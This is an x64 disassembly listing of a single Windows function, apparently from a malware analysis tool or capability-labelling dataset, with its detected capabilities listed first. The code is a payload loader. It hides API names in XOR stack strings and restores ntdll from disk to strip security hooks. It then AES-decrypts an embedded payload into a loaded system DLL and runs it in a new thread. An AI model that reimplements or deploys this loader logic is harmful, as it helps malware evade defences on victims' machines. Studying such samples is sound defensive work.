Function at 0x1400012f0
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Create thread
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x2f]
sub rsp, 0xe8
lea rcx, str.kernel32.dll
mov dword [rbp - 0x79], 0x4d660059
mov dword [rbp - 0x75], 0x555e5453
mov dword [rbp - 0x71], 0x4966494d
mov dword [rbp - 0x6d], 0x5f4e4943
mov dword [rbp - 0x69], 0x66080957
mov dword [rbp - 0x65], 0x565e4e54
mov dword [rbp - 0x61], 0x565e1456
mov word [rbp - 0x5d], 0x3a56
mov dword [rbp - 0x29], 0x61657243
mov dword [rbp - 0x25], 0x69466574
mov dword [rbp - 0x21], 0x614d656c
mov dword [rbp - 0x1d], 0x6e697070
mov word [rbp - 0x19], 0x4167
mov byte [rbp - 0x17], 0
mov dword [rbp - 0x59], 0x5670614d
mov dword [rbp - 0x55], 0x4f776569
mov dword [rbp - 0x51], 0x6c694666
mov word [rbp - 0x4d], 0x65
mov dword [rbp - 0x39], 0x616d6e55
mov dword [rbp - 0x35], 0x65695670
mov dword [rbp - 0x31], 0x46664f77
mov dword [rbp - 0x2d], 0x656c69
mov dword [rbp - 0x49], 0x74726956
mov dword [rbp - 0x45], 0x506c6175
mov dword [rbp - 0x41], 0x65746f72
mov word [rbp - 0x3d], 0x7463
mov byte [rbp - 0x3b], 0
mov dword [rbp - 0x11], 0x646e6977
mov dword [rbp - 0xd], 0x2e73776f
mov dword [rbp - 9], 0x726f7473
mov dword [rbp - 5], 0x2e656761
mov dword [rbp - 1], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movsx edx, byte [rbp - 0x5c]
lea rcx, [rbp - 0x79]
xor r13d, r13d
mov qword [0x140022c40], rax
mov eax, r13d
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
add eax, 0x10
lea rcx, [rcx + 0x10]
pxor xmm0, xmm1
movdqu xmmword [rcx - 0x10], xmm0
cmp eax, 0x10
jb 0x140001480
movsxd rcx, eax
cmp rcx, 0x1e
jae 0x1400014bd
lea rcx, [rbp + rcx - 0x79]
nop word [rax + rax]
xor byte [rcx], dl
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x1e
jb 0x1400014b0
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rcx, [rbp - 0x79]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400014fe
add rsp, 0xe8
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov qword [rsp + 0xe0], r14
mov rcx, rsi
call rbx
mov r14, rax
test rax, rax
je 0x14000154d
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call rdi
mov rdi, rax
test rax, rax
jne 0x140001560
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400017bd
lea rcx, str.ntdll.dll
mov qword [rsp + 0xd8], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd r8, dword [rdi + 0x3c]
mov edx, r13d
add r8, rdi
mov dword [rbp + 0x67], r13d
mov r15, rax
movzx r9d, word [r8 + 6]
test r9d, r9d
je 0x140001612
movzx r10d, word [r8 + 0x14]
lea r11, str..text
movsxd rax, edx
lea rcx, [rax + rax*4]
mov rax, r13
lea rbx, [r10 + rcx*8]
add rbx, r8
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r11 + rax - 1]
jne 0x1400017d5
cmp rax, 6
jne 0x1400015b1
mov ecx, dword [rbx + 0x24]
lea r9, [rbp + 0x67]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, r15
call qword [0x140022c40]
cmp dword [rbp + 0x67], r13d
je 0x140001612
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + rdi]
lea rcx, [rax + r15]
call fcn.1400022b0
mov ecx, dword [rbx + 0x24]
lea r9, [rbp + 0x67]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, dword [rbp + 0x67]
call qword [0x140022c40]
mov rcx, rdi
call r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, qword [rsp + 0xd8]
test rax, rax
je 0x1400017bb
lea rbx, [rax + 0x200c]
mov rdx, rbx
lea rcx, str.ptr:__p_n
call fcn.140001800
call fcn.140005788
mov edx, dword [0x140022160]
lea r9, [rbp + 0x67]
add edx, 0x1000
mov dword [rbp + 0x67], r13d
mov r8d, 4
mov rcx, rbx
call qword [0x140022c40]
mov eax, dword [0x140022160]
lea rcx, [rbp + 0x77]
mov r9d, 0x18
mov dword [rbp + 0x6f], eax
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rdi, section..data
test eax, eax
je 0x140001761
mov rcx, qword [rbp + 0x77]
lea rax, [rbp + 0x7f]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001761
mov rcx, qword [rbp + 0x7f]
lea rdx, [0x140022150]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001761
mov r8, qword [rbp + 0x7f]
lea rax, [rbp + 7]
mov rcx, qword [rbp + 0x77]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001761
mov rcx, qword [rbp + 7]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001761
mov rcx, qword [rbp + 0x77]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, dword [0x140022160]
mov rdx, rdi
mov rcx, rbx
call fcn.1400022b0
mov edx, dword [0x140022160]
lea r9, [rbp + 0x67]
mov r8d, dword [rbp + 0x67]
add edx, 0x1000
mov rcx, rbx
call qword [0x140022c40]
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.Bye_Bye__n
call fcn.140001800
call fcn.140005788
xor eax, eax
mov r14, qword [rsp + 0xe0]
add rsp, 0xe8
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
inc edx
cmp edx, r9d
jl 0x1400015a0
jmp 0x140001612